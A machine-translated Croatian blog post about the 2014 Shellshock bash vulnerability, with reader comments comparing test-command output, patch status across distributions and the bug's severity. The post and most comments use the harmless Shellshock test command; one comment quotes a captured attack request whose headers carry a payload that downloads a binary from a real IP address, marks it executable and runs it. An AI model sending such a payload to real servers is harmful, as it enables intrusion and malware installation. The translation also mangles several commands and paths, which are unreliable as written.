Na nekim blogovima teče kao požar, vijest objavljena u sigurnosni blog de crvena kapa o ranjivosti pronađenoj u Bashu zbog zlouporabe globalnih varijabli. Prema izvornim vijestima:
“... Ranjivost je posljedica činjenice da možete stvoriti varijable okruženja sa posebno izrađenim vrijednostima prije pozivanja bash ljuske. Ove varijable mogu sadržavati kod koji se izvršava čim se pozove ljuska. Ime ovih razrađenih varijabli nije važno, već samo njihov sadržaj. Kao rezultat, ova ranjivost je izložena u mnogim kontekstima, na primjer:
- ForceCommand koristi se u sshd konfiguracijama za pružanje ograničenih mogućnosti izvršavanja naredbi za udaljene korisnike. Ova se mana može koristiti za izbjegavanje toga i pružanje proizvoljnog izvršenja naredbe. Neke implementacije Gita i Subverzije koriste tako ograničene ljuske. To ne utječe na redovnu upotrebu OpenSSH-a jer korisnici već imaju pristup konzoli.
- To utječe na Apache poslužitelj koji koristi mod_cgi ili mod_cgid ako su CGI skripte napisane i na bashu ili na podrazinama mrijesta. Takve podrazine implicitno koristi system / popen u C, os.system / os.popen u Pythonu, ako koristi sistemsku / exec ljusku u PHP-u (kada se izvodi u CGI načinu) i open / system u Perlu (što ovisi o naredbenom nizu).
- Na PHP skripte pokrenute s mod_php to ne utječe čak i ako se reproduciraju podrazine.
- DHCP klijenti pozivaju skripte ljuske da bi konfigurirali sistem, sa vrijednostima preuzetim s potencijalno zlonamernog poslužitelja. To bi omogućilo izvršavanje proizvoljnih naredbi, obično kao root, na DHCP klijentskom stroju.
- Razni demoni i programi sa SUID privilegijama mogu izvršavati skripte ljuske s vrijednostima varijable okoline koje korisnik postavlja / utječe na njih, što bi omogućilo izvršavanje proizvoljnih naredbi.
- Bilo koja druga aplikacija koja se prikači na ljusku ili pokrene skriptu ljuske poput upotrebe basha kao tumača. Skripte ljuske koje ne izvoze varijable nisu ranjive na ovaj problem, čak i ako obrađuju nepouzdani sadržaj i pohranjuju ga u varijable ljuske (lijevo) i podrazini su otvoreni.
... "
Kako znati da li je moj bash pogođen?
S obzirom na ovo, postoji vrlo jednostavan način da saznamo da li smo pogođeni ovom ranjivošću. U stvari, testirao sam na svom Antergosu i očigledno nemam problema. Ono što moramo učiniti je otvoriti terminal i staviti:
env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test"
Ako izađe na ovaj način, nemamo problema:
env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test" bash: upozorenje: x: ignoriranje pokušaja definicije funkcije bash: greška pri uvozu definicije funkcije za `x' ovo je test
Ako je rezultat drugačiji, možda ćete htjeti koristiti kanale za ažuriranje naših preferiranih distribucija da biste vidjeli jesu li oni već primijenili zakrpu. Dakle, znate 😉
Ažurirano: Ovo je rezultat suradnika koji koristi Ubuntu 14:04:
env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test" ranjiv ovo je test
Kao što vidite, zasad je ranjiv.
Imam Kubuntu 14.04 od 64, a također dobivam:
env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test"
ranjivi
ovo je test
Već sam ažurirao, ali ne ispravlja. Šta da se radi?
Sačekajte da se ažuriraju. Već je na primjer ažuriran eOS .. 😀
Kako čudno, imam i Kubuntu 14.04
$ env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test"
bash: upozorenje: x: ignoriranje pokušaja definicije funkcije
bash: greška pri uvozu definicije funkcije za `x '
ovo je test
Dodajem da je verzija "bash" paketa koji je danas preuzet:
4.3-7ubuntu1.1
http://packages.ubuntu.com/trusty/bash
U mom slučaju, davanje naredbe, samo mi daje sljedeće u terminalu:
>Svejedno, šala je u tome što sam ažurirao Debian Wheezy i to me je bacilo.
Wheezy je i dalje ranjiv na drugi dio greške, barem tijekom popodneva (UTC -4: 30) problem je i dalje slijedio: /
Upravo sam potvrdio da nakon primjene ažuriranja jutros to nije pogođeno ni Slackwareom ni Debianom ni Centosom jer su dobili odgovarajuće ažuriranje.
Šta čini Ubuntu i dalje ranjivim u ovom trenutku? I recite mi da je sigurno: D.
Ali jeste li pokušali ažurirati Ubuntu?
Današnjim ažuriranjem također su to popravili.
OK
Sigurnosni stručnjaci upozoravaju na ranjivost 'Bash', ona bi mogla predstavljati veću prijetnju za korisnike Linux softvera od greške Heartbleed, gdje hakeri mogu iskoristiti grešku u Bashu kako bi preuzeli potpunu kontrolu nad sustavom.
Tod Beardsley, inženjerski menadžer u firmi za cyber sigurnost Rapid7, upozorio je da je mana ocijenjena ocjenom 10 zbog svoje ozbiljnosti, što znači da ima maksimalan učinak, a ocjena "niska" zbog složenosti eksploatacije, što znači da je "hakeru" relativno lako napadi. Korištenjem ove ranjivosti napadači mogu potencijalno preuzeti kontrolu nad operativnim sistemom, pristupiti povjerljivim informacijama, unijeti promjene itd. ”, Rekao je Beardsley. "Svatko sa sistemima koji zauzimaju Bash trebao bi odmah primijeniti zakrpu," dodao je.
PRIJE OVE RANJIVOSTI KOJA PREDSTAVLJA STARI ALAT (GNU) na kojem je domaćin Bach, bilo bi prikladnije da se Linux softver riješi GNU-a i promijeni za BSD alat.
PS: ne CENUJERI moju slobodu izražavanja, ... nikoga nisam vrijeđao, ... ne briši moju poruku kao prethodnu poruku da sam izbrisan!.
Oh, molim te, ne pretjeruj. Kako mrzim one ljude koji koriste BSD i preziru GNU, Linux ili bilo što iz ovih projekata.
Ja sam s vama i u potpunosti ste u pravu u pogledu ozbiljnosti ove rupe.
To nije bila cenzura, to je bio višak (dali ste isti komentar u postu gnomea 3.14)
«… I ocijenjeno NISKIM ZA SLOŽENOST eksploatacije, što znači da je relativno LAKO za hakerske napade»
Da li je primjetna neskladnost?
Kako može biti lako iskoristiti ranjivost i istovremeno imati "nizak" nivo rizika jer je toliko složen za upotrebu?
To je greška koja je riješena u roku od nekoliko sati nakon sastanka i koja poput iskrvarenja nema izvještaja da je iskorištena (naravno, ovo ima manje vremena za međusobno poznavanje).
To je više tabloidna štampa nego stvarni rizik.
Čini li vam se @Staff nevažnim? Šta ćeš mi sada reći?
GET./.HTTP/1.0
.Korisnik-agent: .Hvala-Rob
.Cookie: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Host: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Referer: (). {.:;.};. Wget.-O./tmp/besh.http://162.253.66.76/nginx; .chmod.777. / tmp / besh; ./ tmp / besh;
.Prihvati :. * / *
$ datoteka nginx
nginx: ELF 32-bitni LSB izvršni, Intel 80386, verzija 1 (SYSV), statički povezan, za GNU / Linux 2.6.18, skinut
$md5sum nginx
5924bcc045bb7039f55c6ce29234e29a nginx
$sha256sum nginx
73b0d95541c84965fa42c3e257bb349957b3be626dec9d55efcc6ebcba6fa489 nginx
Znate li šta je to? Od malo opasnog ...
Situacija je prilično ozbiljna, ali odatle treba reći da biste trebali prestati koristiti bash za BSD opciju, već je toliko, u svakom slučaju ažuriranje je već tu, samo dodirnem update i ništa drugo.
Sada PD, mislim da je to više kolega @robet, ne mislim da se ovdje administratori posvećuju brisanju takvih komentara jer da, jer, otkad sam sudjelovao u ovoj zajednici, imam takav osjećaj i nadam se da ostaje takav.
Pozdrav.
Potpuno isti komentar stavljate na dva različita posta. Ako pokušavate promovirati "izvor" priče, izvinite, ovo nije mjesto.
Bash dolazi iz Unixa (i njegovog GNU klona). Pogođeni su i sistemi zasnovani na BSD-u, poput OSX-a, a prema Genbeti, još ga nisu zakrpili. Isto tako, za pristup Bashu potreban vam je korisnički račun, lokalni ili putem SSH-a.
@Osoblje:
1.- Klasificiran je kao Nivo 10 (maksimalni nivo opasnosti) zbog količine usluga na koje programska pogreška može utjecati. U glavnoj bilješci tu činjenicu čine vrlo jasnom, tvrdeći da greška može utjecati na usluge kao što su apache, sshd, programi sa suid dozvolama (xorg, između ostalog).
2.- Klasificiran je kao Nizak nivo poteškoće kada je u pitanju njegova implementacija, a najbolji primjer za to je skripta za testiranje ranjivosti koju je @elav stavio u post. Kao što vidite, vrlo je teško implementirati.
Ne vidim suvišnost informacija (vidim samo Googleov prijevod) i ako je problem prilično ozbiljan, a kako kažete, već ima zakrpu i rješenje, ali ne i za to, više nije rizik, i sasvim stvarna.
@petercheco / @Yukiteru
Nemojte me pogrešno tumačiti, mislim da je jasno da je moja kritika vijest koju Robet povezuje i fokusirana je na neskladnost, a ne na višak.
Na isti način, moramo razlikovati rizik i opasnost (potonje ne spominjem), obično ih koristimo kao sinonime, ali ovdje bi opasnost predstavljala sposobnost oštećenja greške i riskirala vjerovatnoću njenog nastanka.
U mom konkretnom slučaju, ušao sam od juče. Nije to bilo za mailing liste ili nešto slično, već za distribuciju na radnoj površini! Podigao sam telefon i poslao poruku sysadminu s vezom i potvrdio da sam sve zakrpao, a zatim me izvinite, ali ove vijesti me ne uspavaju.
Na drugim forumima spominju ranjivost Bash, "rješenje koje su objavili Debian i Ubuntu", ali danas su otkrili da ranjivost još uvijek postoji, pa je rješenje bilo nepotpuno, spominju to!
Vidim da su me mnogi kritizirali zbog jednostavne činjenice sprječavanja ljudi od ozbiljnosti ranjivosti - kvalifikovane nivoom 10 maksimalne opasnosti i spominjanja mogućih rješenja za Linux softver prije zastarjelog GNU alata na kojem je domaćin Bash - što bi savršeno GNU mogao biti zamijenjen BSD alatom u Linux softveru, ... Također koristim Linux i volim Linux!
Pojašnjavam da Bash ne dolazi po defaultu u BSD, to je još jedan paket kompatibilnosti s Linuxom koji se može instalirati u BSD ... da! A izvor je stavljen tako da mogu provjeriti vijesti, jer mnogi korisnici ponekad ne vjeruju u poruku ili komentar.
robet: Kao što su vam već ponavljali, vaš komentar sa vijestima već stavljate u post, ne morate ga stavljati u svaki post koji komentirate.
Na bashu, postoje i druge ljuske koje se mogu koristiti u slučaju da je Bash ranjiv. 😉
Robet, prema mojim saznanjima, ne postoji softver koji kombinuje linux kernel sa BSD korisničkom zemljom. Najbliže je obrnuto, kBSD + GNU, kao što to rade Gentoo i Debian. Osim toga, GNU (1983) se ne bi mogao nazvati "staromodnim" ako je nakon BSD-a (1977). Oboje dijele svoj unix root (ali ne i kod), ne bi bilo "Linux kompatibilnosti" da je Bash kreiran dok je Linus T još bio dijete.
uff, debian testiranje je trenutno "ranjivo" kakav niz imamo ...
Koristim Debian testiranje i čak smo u ovoj grani dobili bash ažuriranje
prema genbeti postoji i druga ranjivost
http://seclists.org/oss-sec/2014/q3/685
naredba za savjetovanje je
env X = '() {(a) => \' sh -c "jeka ranjiva"; bash -c "echo Failure 2 unpatched"
env X = '() {(a) => \' sh -c "jeka ranjiva"; bash -c "echo Unpatched Failure 2" sh: X: linija 1: sintaksička greška u blizini neočekivanog elementa `= 'sh: X: linija 1:`' sh: greška pri uvozu definicije funkcije za `X 'sh: ranljiva: naredba nije pronađena Kvar 2 bez zakrpeisti ja.
Isto ovdje. Ali originalna greška u postu je zakrpana u (L) Ubuntu 14.04
Umjesto da jednostavnim odjekom pokušam da natjeram da izvrši naredbu koja zahtijeva privilegije, bacam "nedovoljne privilegije" ... ova greška ne eskalira privilegije? Ako ne eskalira privilegije, onda nije toliko opasna koliko je slikaju.
Upravu si!! bile su dvije ranjivosti ...
Meni u Linux Mint 17 nakon drugog bash ažuriranja koje su sinoć stavili u Ubuntu spremišta, nakon izvršavanja te naredbe ljuska nudi ovaj izlaz:
env X = '() {(a) => \' sh -c "jeka ranjiva"; bash -c "echo Fail 2 unpatched"
>
Verzija "bassh" koja je stavljena u Ubuntu spremišta za ažuriranje prethodnih je:
4.3-7ubuntu1.2
Na sistemima izvedenim iz Debiana možete provjeriti instaliranu verziju ovom naredbom:
dpkg -s bash | grep verzija
U svakom slučaju, to bi trebalo razjasniti, barem za korisnike Debiana, Ubuntu-a i Mint-a; Ne biste se trebali previše brinuti o programima koji izvode skripte sa zaglavljem #! / Bin / sh, jer na tim distribucijama / bin / sh ne zove "bash", već se veže za ljusku "crtica" (crtica je :)
Debian Alchemist Console (crtica) izvedena je POSIX konzola
pepela.
.
Budući da izvršava skripte brže od basha i ima manje zavisnosti
biblioteke (što ga čini robusnijim protiv softverskih kvarova ili
hardver), koristi se kao zadana sistemska konzola na sistemima
Debian.
Dakle, barem u Ubuntuu, "bash" se koristi kao ljuska za prijavu korisnika (također i za root korisnika). Ali svaki korisnik može koristiti drugu ljusku prema zadanim postavkama za korisnika i root konzole (terminale).
Lako je provjeriti izvršava li ljuska skripte (#! / Bin / sh) izvršavanjem ovih naredbi:
datoteka / bin / sh
(izlaz je / bin / sh: simbolična veza na `crtica ') pratimo trag ponavljajući naredbu
datoteka / bin / crtica
(izlaz je / bin / dash: ELF 64-bitni LSB zajednički objekt, x86-64, verzija 1 (SYSV), pa je ovo izvršna datoteka.
Ovo su rezultati distribucije Linux Mint 17. Na ostalim distribucijama koje nisu Ubuntu / Debian mogu se razlikovati.
Nije teško promijeniti zadanu ljusku !! čak možete koristiti i drugu za korisnike i za korijenskog korisnika. Zapravo morate samo instalirati ljusku po vašem izboru i promijeniti zadane postavke naredbom "chsh" ili uređivanjem datoteke / etc / passwd (iako korisnici koji ne znaju posljedice greške prilikom uređivanja datoteke "passwd", bolje je da se vrlo dobro informiraju i prije nego što ga urede, naprave kopiju originala u slučaju da je potrebno da ga se oporavi).
Osjećam se ugodnije s "tcsh" (tcsh je :)
TENEX C konzola, poboljšana verzija Berkeley CSH-a
"Csh" je ono što je Mac OS X koristio prije nekoliko godina. Nešto logično s obzirom na to da je veći dio Appleovog operativnog sistema FreeBSD kôd. Iz onoga što sam juče pročitao, čini se da oni pružaju i "bash" za korisničke terminale.
ZAKLJUČCI:
- Zakrpljene "bash" verzije "za najčešće korištene distribucije" već su distribuirane
- "bash" verzija 4.3-7ubuntu1.2 i novije verzije ne sadrži ove greške
- Nije obavezno koristiti "bash" u OS * Linuxu
- Nekoliko * distribucija Linuxa povezuje #! / Bin / sh sa "bash"
- Postoje alternative: ash, crtica, csh, tcsh i neke druge
- Nije komplicirano promijeniti zadanu ljusku koju sistem poziva prilikom otvaranja terminala
- Malo malih uređaja (usmjerivači i drugi) koriste "bash", jer je vrlo velik !!
Trenutno je stiglo još jedno ažuriranje koje instalira drugu verziju "bash" 4.3-7ubuntu1.3
Za Linux Mint 17 i Ubuntu 14.04.1 LTS
ArchLinux je ušao u verziju bash-4.3.026-1
@ Xurxo ... .csh iz Berkeleyja?, ... Razumijete nešto od onoga što gore govorim, i bolje je koristiti BSD "csh" ... umjesto starog GNU alata gdje je Bash hostiran. Taj je alat najbolji za Linux softver.
Pretpostavljam da je ovo greška
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=762760
tačno?
A šta bi bilo rješenje?
Pričekajte da ažuriraju paket na vašoj distribuciji 😉
Buba je krštena kao školjka
http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/
ranjivi
ovo je test
Još nema zakrpe za Ubuntu Studio 14.04
Popravljeno u Ubuntu Studiju 14.04.1
wisp @ ubuntustudio: ~ $ env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test"
bash: upozorenje: x: ignoriranje pokušaja definicije funkcije
bash: greška pri uvozu definicije funkcije za `x '
ovo je test
Zapravo je to manja ranjivost, ako na vas utječe, to je da ste prije radili nešto pogrešno ...
Budući da bash skripta koja se izvodi s root privilegijama nikada ne smije biti izložena korisniku. A ako trči bez privilegija, takve ranjivosti nema. Zapravo je glupo. Mnogo plašenja.
Mislim isto.
Tačno, za prodaju više novina ili ostvarivanje više posjeta, ove su greške dobre.
Ali uvijek zaborave napomenuti da da biste kompromitirali računalo ovakvim skriptama, prvo morate imati pristup bashu, a zatim ga imati kao root.
osoblje ako koristite apache sa cgi, samo stavite http zaglavlja kao kolačiće ili referer funkciju koju želite izvršiti. Čak se koristio za širenje crva.
i ako neko stavi ljusku na server s wget mishell.php, u tom slučaju to nije ozbiljno, zar ne?
Slažem se s tobom. Mislio sam da je to velika greška poput Heartbleeda (čak se i NSA posudila da potakne morbiditet), ali uostalom to je bila manja greška.
Postoje i druge zaista ozbiljne greške poput lude potrošnje Flasha i pada performansi u Pepper Flash Playeru, i one koja je već ispravljena webRTC greška u Chromeu i Firefoxu.
Znate li ima li aranžman za ljude koji imaju Linux Mint 16?
U Debian testiranju to je već bilo popravljeno.
U mojih 5 distribucija je riješeno, u mom OS X ne znam.
Molim vas, nemojte cenzurirati moj komentar, rekao sam OS X. Ne znam možete li reći OS X na ovoj stranici.
@yoyo, nemoj se pretjerati da još uvijek rade na nekim detaljima zakrpe ... probaj ovo pa mi reci kako XD
env x = '() {:;}; echo ranjiv 'bash -c "echo ranjiviji sam od smeća iphone 6"
Da ako se 100% riješe prije OS X-a, kladim se u bilo što
Pa, čak i u Ars Technici daju značaj Bashu u OSX-u.
@Yoyo sljedeći komentar na OS X za SPAM .. lla tu save .. 😛
@yoyo tamo da popravi citate ... ali ostalo znate 😉
FSS je govorio
https://fsf.org/news/free-software-foundation-statement-on-the-gnu-bash-shellshock-vulnerability
Kao da su postali pokrovitelji OSX-a (jer OSX i dalje koristi Bash: v).
U svakom slučaju, ne moram se toliko petljati s Debianom Jessiejem.
Ako je sistem ranjiv na Cent OS-u:
yum očisti sve && yum update bash
da vidite bash verziju:
o / min -qa | grep bash
Ako je verzija starija od bash-4.1.2-15.el6_5.1, vaš sistem je možda ranjiv!
Pozdrav.
Druga ranjivost još nije riješena
env amvariable2 = '() {(a) => \' sh -c "eho amVulnerable"; bash -c "echo Failure 2 unpatched"
Ažuriranje ...
Sa Gentooom mi se događa suprotno, ranjiv sam samo na prvi neuspjeh, ali s drugim dobivam ovo:
[kod] sh: X: red 1: sintaksička greška u blizini neočekivanog elementa `= '
sh: X: red 1: '' '
sh: greška pri uvozu definicije funkcije za `X '
sh: ranjiv: naredba nije pronađena
Bug 2 nije zakrpan
[/ kod]
Ne znam hoće li već postojati stabilna verzija Basha s ispravljenim greškama, ali u svakom slučaju će biti na čekanju za sljedeći put kada napravim emerge –sync && emerge –update –deep –with-bdeps = i - newuse @world (na taj način ažuriram čitav sistem).
Imam Gentoo sa verzijom 4.2_p50 i do sada je prošao sve testove. Pokušajte s emerging –sync, a zatim s emerge -av1 app-shells / bash, a zatim provjerite imate li verziju 4.2_p50 pomoću bash –verzije naredbe.
Jeste li probali ovo?
Uz nove pakete, novi test pruža Red Hat
cd / tmp; rm -f / tmp / echo; env 'x = () {(a) => \' bash -c "datum odjeka"; mačka / tmp / eho
Ako naš sistem nije ranjiv i ispravno je zakrpan, mora nam pružiti ovako nešto
1 datum
2 mačka: / tmp / echo: Datoteka ili direktorij ne postoji
Pokušajte na ovaj način:
env X = '() {(a) => \' sh -c "jeka ranjiva"; bash -c "echo Failure 2 patched"
Shvatam
ranjivi
Ispravljena greška 2.
Zaboravi, linija je loše formatirana.
Odlično! Već sam obavio ažuriranje svog Slackware-a, hvala!
Bok, postavlja se pitanje, imam nekoliko poslužitelja s "SUSE Linux Enterprise Server 10" 64 bita.
Kada izvršavam naredbe da sam ranjiv, ranjiviji sam čak i od smeća iPhone 6 xD
Ako se ne varam s ažuriranjem / instaliranjem paketa u SUSE, to se vrši naredbom «zypper».
Na nekim serverima mi govori ovo:
BIAL: ~ # zipper gore
-bash: zypper: naredba nije pronađena
BIAL: ~ #
A kod ostalih ovo:
SMB: ~ # zipper gore
Vraćanje sistemskih izvora ...
Raščlanjivanje metapodataka za SUSE Linux Enterprise Server 10 SP2-20100319-161944…
Raščlanjivanje RPM baze podataka ...
Sažetak:
Ništa za raditi.
Sta ja radim?
Znam da neki kažu da je ranjivost manja od one koju slikaju, ali ja je imam i ne želim biti izložena riziku, bila ona mala ili velika.
Pozdrav.
Laku noć, pokušao sam zalijepiti kod koji ste naveli u članku, shvaćam
sanders @ pc-sanders: ~ $ env x = '() {:;}; echo ranjiv 'bash -c "echo ovo je test"
ovo je test
sanders @ pc-sanders: ~ $
Možete li mi objasniti kako zakrpati distro, ažuriram svakodnevno i ne vidim promjene u izlazu upita.
Puno vam hvala!